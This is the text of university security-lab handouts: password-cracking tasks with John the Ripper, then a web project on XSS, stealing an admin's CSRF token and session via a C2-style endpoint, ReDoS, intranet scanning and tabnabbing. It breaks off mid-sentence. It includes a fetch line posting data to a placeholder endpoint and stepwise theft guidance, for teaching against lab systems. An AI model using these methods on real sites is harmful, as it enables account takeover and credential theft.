password-protected files suspected of containing sensitive content: task51.zip task52.gpg These files have been encrypted using weak or guessable passwords. Your job is to recover these passwords using password cracking techniques and tools. To prepare for these tasks, you need to download the files from the Docker container to your VM so you can work on them with John the Ripper tools. Remember you are using your login from Tasks 3 and 4, this is a Metasploit shell. • Remember you know how to use the find command. • Research Metasploit, learn how to download files using a command. • Download the files to your virtual machine file system. Once you download the files from the Docker container, be sure to switch to a VM Terminal where you’re not logged into the container anymore. You do the rest of Task 5 on your VM, not in the Docker environment. You’ll work with: • John the Ripper: a fast and customizable password cracking tool. • zip2john and gpg2john: utilities that convert encrypted files into hash formats John can understand. • cewl: a custom wordlist generator that scrapes words from a webpage.This task reinforces your ability to: • Extract password hashes. • Use wordlists and brute-force strategies. • Investigate contextual clues to guide password generation. Part 1: Cracking task51.zip 1. Ensure you’re in the same directory as task51.zip and task52.gpg. 2. Use zip2john to extract the hash from task51.zip. Hint: This will produce a hash line John can use as input. 3. Run John the Ripper on the hash. Start with incremental mode. Hint: Try using –incremental to perform a brute-force attack. 4. Use the show feature of john to show the password you cracked. 5. Once you’ve cracked the password, decrypt the ZIP file. Hint: Use the unzip command and supply the recovered password. 6. Inside the ZIP file is an executable file. Run it with: ./task51.pyc your_gt_username Record the output hash in your assignment questionnaire. Part 2: Cracking task52.gpg 1. Use gpg2john to convert task52.gpg into a John-compatible hash. Start with an incremental brute-force attack. Hint: Pay attention to how long this process takes and whether it seems productive. 2. If the incremental method takes too long or fails, consider a more intelligent approach. Ask yourself: • Have the developers shown any patterns of weak security elsewhere? • Could clues about the password be hidden in related web content?4. Use cewl to generate a wordlist from this webpage. 5. Use the generated wordlist with John the Ripper to process your task52.hash. Hint: Use the –wordlist option and allow default –rules to permute the words. 6. Use the john command to show the cracked password for task52.hash 7. Once cracked, decrypt the GPG file using the password you found. Because Docker can’t do this interactively, you’ll need to use this command with the password as an argument: gpg –batch –yes –passphrase ‘your_cracked_password’ -output task52 –decrypt task52.gpg This command is one line, substitute your cracked password. 8. Run the decrypted script: ./task52 your_gt_username Record the resulting hash in your assignment questionnaire. What to Submit In your assignment_questionnaire.txt, include: • The commands you used to run John the Ripper (required). • The command you used to run cewl (required). • The final password for each file (required). • The output of each Python script after entering your GT username (required).Extra Task 6 – Optional, Not for Credit We have a new task you can help us test. If you are enjoying attacking the Docker container so far, then you can continue the fun with this task. We would appreciate any feedback on this task for when we incorporate it into the project for future semesters. We’re not 100% sure we have the HTTP Smuggling vulnerability set up correctly, but you can spend some time researching the weakness. We are running vulnerable Apache2 version 2.4.32. UPDATE: Hold off working on this unless you want to hack at it, based on student input I don’t think I have a vulnerable version of the Apache2 server on it. I will produce a new VM with the correct server version soon, thanks for your patience. Task 6 Bypass Authentication with HTTP Request Smuggling In this project Apache not only serves up a site directly, it’s also a reverse proxy for a Python web server. The Python back-end server is configured with these routes: • / — the root of the server is a simple content page that says “Welcome to the Back-end Server” • /protected – a page that you must be authenticated to view, this is the goal, when you get to see this page, you’ll get your flag there. HTTP Request Smuggling is a critical web security vulnerability that occurs when front-end and back-end servers interpret HTTP requests differently. This can allow attackers to bypass security controls and access protected resources. The Python webserver has a protected administrative area at /protected that requires authentication. Your goal is to bypass this authentication and access the protected resource to retrieve your personalized flag. What You Know • The server is running a vulnerable version of Apache2 as a reverse proxy. • There’s a protected area at /protected that you cannot access without credentials. • The server has a vulnerability related to how it processes HTTP headers. • You’ll need to include your GT login to get a personalized flag. Hints • The vulnerability involves differences in how Content-Length and Transfer-Encoding headers are interpreted. • The proxy forwards requests from /backend/ to the backend server. • You’ll need to “smuggle” a request past Apache’s authentication. • Include the header X-GT-Login: jsmith3 to get your personalized flag. Getting Started 1. First, try to access the protected area directly: 2. curl http://172.22.0.10:8088/admin/ 3. Notice that it requires authentication that you don’t have. 4. Try accessing the backend directly through the proxy: curl http://172.22.0.10:8088/backend/ 5. Also try curl http://172.22.0.10:8088/backend/protected and see what happens. 6. Research how HTTP Request Smuggling works and how to exploit the difference between how Apache and the backend server request parsing. Deliverables:Submit to Gradescope: – assignment_questionnaire.txt (completed) – README.txt explaining your attack methodsImportant: – Follow the template exactly. – Do NOT ZIP your files. That’s it, you’re done with Project 1! Reminders: – Only attack the container (172.22.0.10), not the VM itself. – Keep detailed records of all commands used, so you Don’t Repeat Yourself. – Restart the container, if necessary, by running ./StopShockServer.sh and ./StartShockServer.sh in your home directory on the VM. – Be patient when loading Metasploit. Acknowledgments: Appendix 1 – Resources / Links Here are some resources for the various concepts and tools presented in the project: nmap – https://nmap.org/book/man.html#man-description zenmap – https://nmap.org/zenmap/Task 3 – MetaSploit https://docs.rapid7.com/metasploit/bruteforce-attacks/ https://www.offsec.com/metasploit-unleashed/scanner-ssh-auxiliary-modules/ Task 4 – Root Privilege Escalation Getting a root shell – General links: Shellshock – https://en.wikipedia.org/wiki/Shellshock_(software_bug) Metasploit – https://www.offensive-security.com/metasploit-unleashed/ John the Ripper – https://www.openwall.com/john/doc/ CeWL – https://tools.kali.org/password-attacks/cewl Webserver Marketshare – https://w3techs.com/technologies/overview/web_serverAppendix 2 – Running the VM on an ARM-based MacVM Download link: Will be posted on Canvas on the Machine Learning project when we release it.Emulation on ARM-based Macs doesn’t always work, it can be very slow. You should use ssh to access the VM using your hosts tools like Terminal, curl and your browser if needed.Note: None of the material below is necessary for running in VirtualBox on an Intel-based machine, but you can run the VM headless using the same SSH instructions as below:Emulating x86/x64 on Apple MX Chipset While it is possible to use emulation to run the CS6262 VMs it is important to note that it is not officially supported.You will need to be familiar with SSH and using the terminal as the Linux GUI is not very responsive. You will find it difficult to impossible to finish the project using the VM GUI.DisclaimersRequirements 1. A copy of the class VM in .ova format. 2. An ARM-based Mac. 3. Install QEMU and UTM on your Mac: Homebrew — https://www.qemu.org/download/#macos UTM — https://mac.getutm.app or other any other emulation tool 4. You need at least 50GB of drive space available, plus free space desired after installation. Obtaining the Virtual Disk Image from the OVA1. Open a terminal 2. Download the class VM 3. Extract the VM disk image from the OVA archive (look for the .vmdk file): tar -xvf CS6262Project1-R01.ovaThis will result in this file being created: CS6262Project1VM-disk002.vmdk4. Convert the disk image to qcow2 format qemu-img convert -O qcow2 CS6262Project1VM-disk002.vmdk CS6262Project1VM-disk002.qcow2Creating the Emulated Virtual Machine Note these instructions assume that you are using UTM. The instructions will differ if you are not using UTM.1. Open the UTM application 2. Click on the ‘Create a new Virtual Machine’ button 3. Click on the ‘Emulate’ button 4. Click on the ‘Other’ button 5. For ‘Boot Device’ select ‘None’ 6. Click on the ‘Continue’ button 6. For ‘Architecture’ ensure that ‘x86_64’ is selected 7. For ‘System’ you can use the default value of ‘Standard PC (Q35 + ICH9, 2009) (alias of pc-q35-7.2)(q35) 8. Set the ‘Memory’ to ~50% of your total Mac RAM (We recommend 4096MB or more) 9. For Storage you can use the default of ’64 GB’ – we will be deleting this drive 10. You do not need to set a shared directory – click ‘Continue’ 11. Set the VM name (CS6262Project1 for example) 12. Click the ‘Open VM Settings’ checkbox 13. Click the ‘Save’ buttonConfiguring the Emulated Virtual Machine The VM settings window should have opened once you saved the VM. Now you’ll need to configure the VM to use your .qcow2 image to boot the course VM.1. Select the ‘QEMU’ menu item on the left 2. Disable (unselect) the ‘UEFI Boot’ option 3. Select the ‘Display’ menu item on the left 4. Set the ‘Emulated Display Card’ to ‘virtio-gpu-gl-pci (GPU Supported)’ 5. Select the ‘IDE Drive’ from the left hand menu 6. Click the ‘Delete’ button 7. A prompt will appear asking you to confirm the action – click the ‘Delete’ button 8. Select ‘New…’ under the ‘Drives’ section in the lefthand menu 9. A prompt will open – click the ‘Import…’ button 10. Find your drive image that ends with ‘.qcow2′ for this example 11. Click the ‘Save’ button in the bottom right of the Settings viewCompleting Course Projects via SSH Given the fact that emulating the Linux UI typically results in poor user experience, the expectation is that you would use SSH to complete all project activities. If you are unable to use SSH to perform a specific task then you’re unlikely to be able to complete the project using an emulated VM. Obtaining the VM’s IP address 1. Power on the VM 2. Login to the VM as any user 4. Open the ‘Terminal’ application 5. Query all network interfaces: `ip a` 6. Find the entry for the VM’s network interface card: Note that it is likely the second interface, denoted by `2:` The default subnet for UTM is typically `192.168.64.0/24` 2: enp0s1: mtu 1500 qdisc pfifo_fast state UP group default qlen 1000 link/ether ee:50:4e:d3:b0:d1 brd ff:ff:ff:ff:ff:ff inet 192.168.64.12/24 brd 192.168.64.255 scope global dynamic noprefixroute enp0s1Completing Project 1 over SSH Ensure that you have Chrome installed on your Mac. Connect to the VM via ssh: ssh [email protected]If you want to view the project website, then you need port forwarding. You can possibly set this up in UTM/QEMU, the author isn’t sure. You can also use SSH tunneling to forward the vulnerable website to view from your host:Ssh -L ssh -L 127.0.0.1:9999:127.0.0.1:9999 [email protected] (note the port 9999 is just an example, use the port you discover with nmap / zenmap)We hope you have been able to work your way through these instructions, please let us know of any suggested changed on Ed Discussion. Appendix 3 – VirtualBox Networking NAT Networking If you look at the networking settings in VirtualBox, you’ll see various network styles available. We will look at two of those here: NAT and Bridged.Figure 7 – Network Types in VirtualBox In VirtualBox NAT Networking, the VM accesses the Internet through a softwarebased router created by VirtualBox. This is the simplest and default method of networking in VirtualBox. The VM has Internet access, but you typically can’t access the VM from your host. The IP address for the VM will be in the range 10.0.2.0/24. This networking style is fine if you plan to do all your work in the VirtualBox VM’s GUI. You will be able to work in a shell in the VM and will have full network access from within the VM to the Docker container running in the VM. From the VM you’ll also be able to access the Internet. This is the safest networking style in VirtualBox, as the VM is not accessible from the network. Bridged Networking For those who want to be able to ssh into the VM from their host machine, you’ll want to choose Bridged networking in the VM. This promotes the VM to be a full member of your network. This means instead of a 10.0.2.0/24 address, your VM will get an address on your home network. We do not recommend Bridged Networking if you are in a work environment or otherwise exter. Once you switch to Bridged networking, you should see the IP address of the VM change to be an address on your network, which is typically in the range 192.168.1.0/24 on a home router. Restarting VM Networking We have seen behavior in VirtualBox that when you switch between NAT and Bridged networking, the IP address of the VM will not update. In this case, please run the following command in the pentestuser’s home directory: ./RestartNetworking.sh This runs the following commands: ip link set enp0s3 down ip link set enp0s3 up You can’t normally run these commands as penteststudent, so use the provided script to update your networking on the VM. Forwarding Ports to Your Host We might be giving away the game a bit here but it’s OK. As we have noted, the Docker network is on 172.22.0.0/24. It’s easy enough to run ip a and discover the VM’s IP address is 172.22.0.1. As noted previously, you will see the Docker container’s ports duplicated on the VM. This is to make them available for port forwarding to your host if you desire to work from your host. To set up port forwarding, open the VM’s Network settings. You can change network settings while the VM is running.Figure 8 – Choose the Network Option This only works if you’re in NAT networking: you will see a port forwarding button in the VM’s Networking settings:Click this button and you’ll see the Port Forwarding Rules dialog appear:Click the + icon to create a new rule, under Host Port enter the port you want to use on your host, and under Guest port enter the port numbers the VM’s Docker container is using.If you’re already running something on Port 22, for example you run Windows Subsystem for Linux (WSL), then use a different port on the host side. The VM’s ssh is setup on port 22. This will make the designated ports available on your host’s localhost interface. You can then run a command like this to ssh into the vm, per the settings above: ssh penteststudent@localhost You can also access the Docker container’s published ports from localhost. Let’s say you found the Apache 2 server on the container on port 9999. Then you could use this curl command from your host to access the webpage with curl or a browser: curl http://localhost:9999 Appendix 4 – VM TroubleshootingIn this example we are using a Bridged network, regardless of whether you use NAT or Bridged, to fix this problem choose your eth0 interface in the Network Settings:If you can select the adapter type (if it’s not greyed out like here) try different adapters starting with the Intel desktop adapters:Closing Thanks for going through the project. We hope you see by now, while this is a long document, most of it is introductory and background information. We would appreciate any feedback, positive or negative, about out choice to include so much extra information about Docker, Networks and VMs in this document. Did you find it helpful? Was the size of the document so large that it initially discouraged you? Thanks for any feedback, please use the Document Feedback post on Ed to make your comments. Thank You
Spring 2025 We recommend the latest Google Chrome for this project! Christopher Brakalov Santosh Singh Objectives 1. Attack a web application by exploiting its XSS vulnerabilities to infect its users as persistently as possible. 2. Write XSS exploits to launch a social engineering attack and trick a simulated user into giving up their credentials. 3. Research basic cookie management and how to secure them. Background You’ve been invited to the CS6262 security club; welcome! The security club has a new official website we use for sharing information and resources. Unfortunately, the last administrator was too busy and didn’t perform any security audits on the website. Oh no! The club’s security team wants you, the club’s newest member, to deliver a full security audit of our new official website. You’ve been tasked to provide a pen-testing report to the club’s security team. You’ve received this message to start you off: “Hi there! The club’s website can be found at https://cs6262.gtisc.gatech.edu. We’ve integrated the GT Single-Sign-On service, so please sign in with your GT account and it will create a user for you. The website is not complicated. It is a simple Content Management System (CMS) with several features enabled, e.g., text search, dark mode, rich text editor, etc. Good luck auditing! The CS6262 Security Team”Before getting your hands dirty Let’s first orient ourselves on the website. The project website is located at cs6262.gtisc.gatech.edu – type this into your browser. We recommend using the latest version of Google Chrome.1. Sign in first. b. After sign-in, you will be directed to the homepage. At the top right corner, you can see your username and a dropdown list, which means you have successfully logged in. You can read through the WYSIWYG at https://summernote.org/ c. More themes for the editor are available at https://bootswatch.com/2. The “My writeups” tab will only return your submissions which can be used to see your submitted posts for task 4. a. There were previously some posts located here, but they have since been deleted. b. There should be no posts in your post feed.3. The “New writeups” tab lets you create a new post that will appear in your post feed upon visiting the website. a. The WYSIWYG editor features “Code View” which allows you to directly edit HTML and embed scripts into your posts.b. Try to create a “Hello World!” post to familiarize yourself with the interface. c. Next, try to add an HTML snippet inside the “Code View” like below:4. The “Console” tab is a testing tab that allows you to simulate other users and admins. Additionally, there is a link for receiving messages via an endpoint we created for you. The ReDoS and Information Theft sections are for use in later tasks. a. The Message Receiver Endpoint i. In these task scenarios, you’ll be asked to steal cookies and send them to this endpoint for collection. The endpoint acts as a pivot to send and receive messages. It mimics a command-and-control (C2) server that threat actors use as a main tool to control cyberattacks and exfiltrate data. ii. This endpoint link is a unique link specifically for you. Do not share information you collect here with other students. iii. The endpoint is necessary for XSS attacks to forward information from the victim’s point of view. You should use the “POST” method to send messages to this endpoint. To view the received messages, click the link and refresh when you need to receive a new one. iv. This endpoint will be primarily used for task 4 and 5.b. The User/Admin instance’s running status tells the current running admin role and user roles. You can at most create one admin role and one user role.To trigger an XSS attack on the admin side, fill in the URL of your post and submit to the admin role. It will create or override the current running browser instance, which means when it’s messed up, you can submit a URL to override the current one.To trigger an XSS attack on other users’ sides, fill in the URL of your malicious payload. The user instances also override the current one when you submit new URLs.The admin instance will be used for task 4 and task 5.2. The user instance will be used for task 5.3.c. The ReDoS section lets you practice application layer DoS.i. The server is a simple username and password verification website. Your password should not contain the username, the whole string. When you are able to launch the ReDoS attack, another request to this page will not respond as it should in a very short time interval. When your attack succeeds, you should be able to see a hash string in the result area. Note that the hash string is correct only when it is under a ReDoS attack. ii. Bear in mind that toggle the ReDoS heartbeat when you see a hash string so you can copy and paste. Because the result is refreshed every 10 seconds. iii. Check “Restart the ReDoS instance” to launch the ReDoS server again when you feel like the server is not responding to your submission. d. The Information Theft section will show an input box when you are able to log in as an admin. As a regular user, you won’t be able to see this form. So, there are two approaches to access this form. However, it might be easier to go for approach 2.Here are the two approaches. ii. Post your username and submit the form directly as admin. The form is protected by CSRF. Think of ways to find out the endpoint to submit to, read the CSRF token and send the post request.Tasks and Grading Rubric Note: Fill up the questionnaire and submit required files onto GradeScope.Task 1. Basic HTML and JavaScript Test (5%) 1. In this section we will introduce a few basic HTML and JavaScript knowledge to help you with other tasks. It is for practice purposes. There will be no points in this section.1.1 DevTools Modern browsers will provide DevTools for front-end developers to debug and tune the performance when developing a website. Attackers can also use these tools to explore and collect information. Open your Chrome and press F12 to open the developer console. DevTools will popup. Here you can run JavaScript in the console, view the source html of the webpage, capture the network traffic, and other functionalities. Try to explore it by yourself.1.2 console.log() console.log() is commonly used to print information into the console of the developer tools for debugging purposes. Open the devTool and type console.log(“yourGTID”); You can see your GTID is printed in the console.1.3 setInterval setInterval is used to fire a function given a frequency. It will return an intervalID which can be passed to clearInterval to cancel the interval.Question: Given a variable var counter = 5, make use of setInterval and clearInterval to reduce the counter to 0 in every second and then stop. You can run your code in devTools to verify. var counter = 5; // Your code below1.4 setTimeout setTimeout will fire a function after the delay milliseconds. The function will only be fired once. Similarly you can use the returned timeoutID and clearTimeout to cancel the timeout.Question: Given a variable var counter = 5, make use of setTimeout to reduce the counter to 0 in every second and then stop. You can run your code in devTools to verify. var counter = 5; // Your code below1.5 Promise A Promise is an object used for async operations in JavaScript. There are three states in a Promise object: Pending, Fulfilled, and Rejected. Once created, the state of the Promise object is pending. So the calling function will not be blocked and continue executing. The Promise object will eventually be fulfilled or rejected. Then the respective resolve or reject function will be called. Below is an example of a Promise. Before running the code, can you tell what the output would be? Can you explain why? let testPromise = new Promise((resolve, reject) => { setTimeout(()=>resolve(“Promise resolved”), 1000); }) testPromise.then(message => { console.log(message); }) console.log(“Calling function”);2. In this section, we will ask you 5 questions related to HTML and javascript. Each question contributes 1% of the total score. Please fill in your answers in the provided questionnaire.2.1 is an HTML element that allows the website to embed content from another website. The attacker can make use of XSS to dynamically create an iframe and load phishing content from the attacker’s website. In task 5.3, you will be asked to load a remote page in an iframe in full screen. This question, however, just asks you how to adjust an iframe’s layout.Which of the following options can adjust iframe’s width and height correctly? A) B) C) D) All of above2.2 In order for the tag to open a new tab/window when clicked, what value should you set for the target attribute? (The answer should only contain the value itself). This is necessary for task 5.3.2.3 You will see three alerts after running the code below. Put the output in sequence. The answer should be 3 numbers separated by commas with no space, e.g. 1,1,1. Think about why that is the case. You will use this technique in task 5.2. for (var i = 0; i < 3; i++) { const promise = new Promise((resolve, reject) => { setTimeout(resolve, 1000 + i*1000) }); promise.then(() => alert(i)); }2.4 Which of the following can set jsScript as a string variable correctly? Understanding how HTML code is parsed is important. This question is related to task 3. A) let jsScript=a=2 B) let jsScript='a=2' C) let jsScript='a=2' D) None of above2.5 fetch is an Application Programming Interface (API) which makes use of promises to send web requests. It is supported by most major web browsers. Study the use of fetch API and try to make a POST request to your Message Receiver Endpoint with the payload body being {“username”: “your-GT-username”}, e.g. {“username”: “abc123”}. Then, check your message receiver endpoint again using your browser to see the response. It will be a hash string. Copy this string into the questionnaire.FAQ Q. I submitted the hash I received from my endpoint, but the autograder said it was incorrect. What should I do? Please make sure that you have correctly set your username in the questionnaire.Task 2. Exploit the Reflected-XSS (10%) Find where to exploit a reflected XSS and fill in the questionnaire URL by visiting which an alert should trigger.Concept Review Reflective XSS is an attack where a website does not return requested data in a safe manner. Reflective is generally an XSS attack where the attacker sends the victim a link to a reputable website. BUT, this link contains malicious javascript code. For example, https://www.facebook.com/login?username=username&password=passwordsteal-yourinformation.js If the website returns the data in an unsafe manner (does not sanitize the output) and the victim clicks on this link, then the malicious code will be executed in the context of the victim’s session.Requirements The content of the alert doesn’t matter. For example, https://cs6262.gtisc.gatech.edu/endpoint…yourpayload is what you need to fill in the questionnaire.The autograder will visit your URL. If it detects an alert, then you will receive full credit.Tips 1. You don’t need to log into the website to find this vulnerable point and exploit it. 2. All inputs are malicious! Look for where you can type and try it with some alerts.Deliverables 1. A URL that includes the vulnerable endpoint and your alert payload. 2. The alert should show the domain as below.RubricYour URL is able to trigger an alert 10% Your URL fails to trigger an alert 0%Task 3. Evolve to Persistent Client Side XSS (15%)Therefore, instead of sending a link required in task 2, you find you can actually modify the payload and let the payload live in this web app forever. As long as a user clicks on the link you send once, she is infected persistently unless the payload is cleared.Concept ReviewAs Web technology evolves, more and more applications start to focus on user experience. More and more web applications, including cross platform Electron applications, are taking over desktop applications. Some user’s non-sensitive data is now stored on the client-side, especially the look and feel preferences of an application, to let the App load faster by remembering the user’s preferences without passing back small data chunks.(You can learn more how prevalent this unsafe design is nowadays by reading the paper Don’t Trust The Locals: Investigating the Prevalence of Persistent Client-Side Cross-Site Scripting in the Wild)Then, the variable is read by an unsafe sink, e.g. eval, element.innerHTML(data). Inspect what is stored locally for the web application, cs6262.gtisc.gatech.edu, and how it is used.– F12 on the keyboard and go to Application tab to inspect the Storage as highlighted below – – The Application tab provides you with a quick look at what local data is stored. That includes local storage, cookies, etc. – The Sources tab provides you with static resources, like scripts, HTML, and CSS files. That is the place you should focus on debugging JS code.Requirements Now, modify the payload in the link from task 2 and fill the updated URL in the questionnaire.The autograder will first visit your URL (NO alert should pop up at this point). Then, it would close the page and reopen to trigger your payload to run (One alert should pop up). Next, it refreshes the page without retriggering your payload (Another alert should pop up). Again, it should detect the alert twice. It should not pop up an alert by only visiting your URL. (Namely, the alert should be triggered when the victim visits any page on this website after reopening.)Tips 1. Read the post “Dark Mode” on the website. 3. The vulnerability is exploitable even if the victim has not logged in. 4. In this task, you don’t need to submit a post yet, which is for task 4. 5. The default dark mode style sheet is “https://bootswatch.com/4/cyborg/bootstrap.min.css”. You can reset it if you feel the website is messed up. Or, you can go to the Application tab->Application>Storage->Clear site data to reset everything.Some more Tips 1. Your URL should NOT trigger any alerts when visiting it directly. And, you don’t need to trigger your payload to execute in your exploit code. The autograder will do that for you. This task is trying NOT to draw the user’s attention (e.g. popups, alerts, and theme changing) when the user clicks on your URL. The alerts are for grading purposes. 3. Remember to leverage task 2’s result to inject your payload. When the page reloads, your payload can be read and executed. Deliverables 1. A URL that includes the vulnerable endpoint and your malicious payload.Rubric1. Your URL is able to trigger an alert after reopen 7% 2. Your URL is able to trigger an alert after refresh 8%Task 4. Exploit the Stored-XSS (20%) The website, https://cs6262.gtisc.gatech.edu, allows users to create articles. As a user, one needs to submit the post to a moderator who is the admin of the website for approval. This might be an interesting point to investigate whether you can inject something so when the admin is reviewing your post, thereby you can hijack the admin’s login session. This website uses a rich text editor which not only enables styled content but sanitizes the user’s input while preserving its style.In this task, you will submit a post with an injected payload that launches XSS attached to an admin user. Then, you need to steal some information that is only visible to an admin.Concept Review Stored XSS is an attack where a website does not store data in a safe manner. An attacker could then store malicious code within the website’s database. Said code could be executed whenever a user visits that website. So, a post for an admin’s approval seems like something you will be interested in. If you can steal the admin’s login session cookie, you can login as her to see what she can see.This httpOnly flag is a good way to prevent JavaScript from reading sensitive cookies. However, it doesn’t mean it can mitigate XSS attacks. Attackers, having malicious scripts running in the victim’s browser, are still able to send requests and forward the responses to themselves.Even though the website is protected by CSRF tokens, attackers can still manage to post malicious payload pretending to be the user.Requirements 1. Exploit the rich text editor to inject another XSS payload. Such payloads should NOT trigger an alert for a successful exploit. Your payload SHOULD set a global variable window.gotYou=true for the autograder to read. 2. You will steal admin’s cookies such that you can log in as admin to generate your unique hash string. Or, if you cannot steal the session cookie, you need to find a workaround to get the hash still. You will need to use the Message Receiver Endpoint to receive the stolen information. 3. Please DO NOT put any comments in your final code submission. 4. Please put a semicolon at the end of each statement.Workflow 1. Log into the website with your own credentials. 2. Inspect your session cookie to check if it has httpOnly set. a. If not, an XSS payload can steal it, so you can log into the website as another one. b. If yes, you need to find another way to get the hash. 3. Create a new post and find the vulnerable point of the editor. The editor has two modes. a. “What you see is what you got” mode. Try to type in some inputs and see how the editor deals with them. b. “Code editing” mode. Try to type in some JS code with tag and exit the mode. See how the editor renders your input. 4. Submit a post that can trigger an alert. Go to “My writeups” to see if you can see the alert box. If not, your payload or the way you exploit the editor is incorrect. 5. When you can exploit the editor successfully, submit a new post instead of triggering an alert. It should issue an HTTP request to your HTTP server. A simple “fetch(‘https://your_endpoint_address/’, {method: ‘post’, body: ‘hi’})” will help you verify the correctness. Then, you should be able to see this after opening your endpoint in a new tab. In this way, you should be able to read data out of the website and send it to your HTTP endpoint. 6. Copy the post’s URL and submit it to your console page to start an admin instance. Make sure your payload works as you intended before proceeding to the next step. 7. Modify your payload so that you can fetch (and see) the admin’s console page 8. Look into the “Information Theft” section and its HTML source code. 9. Further modify your payload to steal the (credential) token and use it to send the request for getting the hash. (This token will change on the admin’s next visit. It is not a good idea to hardcode a stolen token in your payload.)Tips 1. Read the post “WYSIWYG” on the website! a. The editor would allow you to type HTML/JS code directly. And, it doesn’t sanitize them if you do it in the code editing mode directly. Remember to toggle the code editing button back to the rich text mode to make sure it takes effect. 2. If a session token is protected by httpOnly, JS code won’t be able to read it. But! The XSS payload will run in the admin’s browser. Technically, every HTTP request to the website issued by the payload could carry the admin’s credential cookies on the website. 3. You are told that the hash is obtained on the page “/console”. Why not use the payload to send a request to “/console” to see what is invisible to regular users? 4. If you can find something interesting from the response, can you steal the CSRF token and send another request to the endpoint to get the hash string? 5. Remember that the admin’s token can only authenticate the admin’s request. 6. The token changes when the admin refreshes the console page. Try not to hardcode a stolen credential in your payload.Some more Tips 1. It’s better to use single quotes all the time as the whole payload will be interpreted as a string wrapped by a pair of double quotes, even though the autograder will replace all your double quotes with single ones. 2. You don’t need to request /console in your payload. You only need to submit the final payload used to retrieve the hash. 3. “window.gotYou = true” is set correctly and can be seen on your local browser, but the evaluation of it fails. That’s caused by incorrect syntax introduced after escaping your payload. People have different typing and coding styles, and we understand that. We appreciate it if you can follow the standard JS syntax, including a trailing semicolon (‘;’) at the end of every expression. Then, even if some spaces and/or are stripped out, it can still work. This is important to check. And please DO NOT put any comments in the code for submission. 4. Some people say they cannot let the admin click the button to submit their username. Think about what page the admin is actually visiting. Are the DOM elements on the page? You are only able to see them on the`/console` page. If you want to interact with those elements, you have to be on the `/console` page. Deliverables 1. The hash string you find when you log in as admin. You need to fill in the input box with your own username!2. The full URL of the endpoint to get the hash. For example, https://endpoint/path/…, the one used in a fetch, xmlhttprequest, or ajax request. 3. Your payload. a. The payload should set a global variable window.gotYou=true, which is used by the autograder to check whether you are able to exploit the website. You can verify the variable in the console like the picture below.Rubric 1. Correct hash string 10% 2. Correct endpoint of getting the hash 5% 3. The payload which should set ‘window.gotYou === true’ 5% Missing task4.js file with your submission 0%Recommended Reading https://developer.mozilla.org/en-US/docs/Web/API/fetchFAQ Q. How to embed code in a write-up? (or Why is my script not working in a write-up)?Also, before posting your write-up, please switch back to the “normal” mode to ensure it works.Q. I have stolen the cookie of the admin. Why couldn’t I log in as the admin?Logging in as an admin is difficult since the website is well-configured to prevent it from happening, even if you have the cookie. An easier way is to “see” the admin’s console page (via your exploit script) and locate the “Information Theft” input box. Looking into the HTML of the page, you will know how you can instruct the admin (again, using your exploit script) to help you to get the hash.Q. The autograder gave me the error message “Correct hash, but you do not have the correct endpoint or payload.” What should I do? The autograder checks your script. Please make sure you have submitted it correctly. Also, please make sure your submission strictly follows the format guideline.Q. Many unexpected messages flood in my endpoint/inbox. I have cleaned all my write-ups and stopped all the bot instances. Why is it still happening? A possible reason is that some residual malicious code/scripts are still left on the website, e.g., your local storage or endpoint/inbox. Please clean all the cache and local storage of the website and clean your endpoint/inbox. You can clean your endpoint/inbox by posting tons of messages to your inbox or redoing your Q1.5 in Task 1.Task 5. Launch Attacks (50%) You just have learned how to exploit XSS in various ways. In this task, you will learn what XSS is capable of.Task 5.1. ReDoS (10%)Here are some references: https://www.cloudflare.com/learning/ddos/application-layer-ddos-attack/ https://en.wikipedia.org/wiki/ReDoS Freezing the Web: A Study of ReDoS Vulnerabilities in JavaScript-based Web ServersRequirements Read the references above to understand what ReDoS is and its impact. In this task, you will try one kind of ReDoS attack.You will find the ReDoS section on the console page. Try to compose a username and password combination to launch a ReDoS attack against the ReDoS server. When an attack is successful, a hash value will be available for you to submit.Tips The username can be a regular expression. Read the materials above, and you will find the solution.Deliverables 1. The hash value you find. 2. Username and password you used to launch the ReDoS attackRubric Correct hash string seen after ReDoS 10%Task 5.2. Local Web Server Scanning (15%)As we learned from the lectures, a DNS rebinding attack allows an attacker to bypass SOP, thereby the attacker can read content from intranet web servers. But before launching a DNS rebinding attack, one must know what web servers are available in that organization. A local webserver scanning can help the attacker determine the targets.Now, assume you, as the attacker, have already learned the local IP address range below. And your goal is to determine what IP addresses are serving web content. (Recall the port number or protocol name for serving web content.) A web server will respond “hello” in plain text.The local host IP range is from 172.16.238.4 to 172.16.238.255, which is what you need to scan. These hosts are not accessible from outside as it’s only accessible to the victims – a user or an admin.Requirements 1. Recall the techniques used for task 4 that launches a stored XSS attack on the admin. Start an admin instance to visit your post that carries the scanning code. 2. Report what IP addresses are serving web content. And fill them in the questionnaire.Tips 1. console.log logs messages in the browser which executes the code. I.e., a simulated user executes your code, then the message will be logged in the user’s browser. You won’t be able to see it in your browser. To receive the message, you need to forward the response to your endpoint. 2. The message sent to the endpoint is in serial, meaning the latter one will override the previous one. Please consider aggregating the result first and sending it back to your endpoint. Promise.all is your best friend for this. 3. You are given a known IP (172.16.238.10) for testing purposes. Don’t report this one in your questionnaire. Deliverables 1. Local server IPs in the format of ip1,ip2,ip3,…. No spaces between them. Only comma separated.Rubric You will get 15% for all correct IP addresses and 0% for all incorrect.Each correct IP reported 3% Each incorrect IP reported -3% Missing task5_2.js with your submission 0%Recommended Reading to Learn More Here are some references to cross-origin vulnerabilities: https://portswigger.net/web-security/cors/access-control-allow-origin https://www.pivotpointsecurity.com/blog/cross-origin-resource-sharing-security/These two articles below are related to using WebRTC to scan from a browser because of the mechanism of establishing a peer to peer connection if you are interested. These are past-tense anyways, but you are welcome to think of any new ideas related to this. A Browser Scanner: Collecting Intranet Information https://medium.com/tenable-techblog/using-webrtc-ice-servers-for-port-scanning-in-chromece17b19dd474FAQ Q. My script always sends IP 172.16.238.255. Why?Q. I cannot fetch the test IP 172.16.238.10 (or I got the error message ERR_CONNECTION_TIMED_OUT). What should I do? Please make sure that it’s the admin who runs your script. This IP is only accessible by the admin. Also, please specify the correct protocol name or port number. (The server serves web content, as mentioned in our write-up.)Task 5.3. Tabnabbing (25%) In this task, you are determined to steal other users’ credentials. As per an online survey, you learn people open 10~20 tabs on average to surf the Internet. Therefore, you think tabnabbing, one of the phishing attacks that lure users into giving up their credentials, could be a good social engineering attack vector.Here are some references about what tabnabbing is. https://owasp.org/www-community/attacks/Reverse_Tabnabbing https://en.wikipedia.org/wiki/Tabnabbing https://medium.com/@shatabda/security-tabnabbing-what-how-b038a70d300eGiven restrictions https://cs6262.gtisc.gatech.edu has and you being able to exploit the XSS 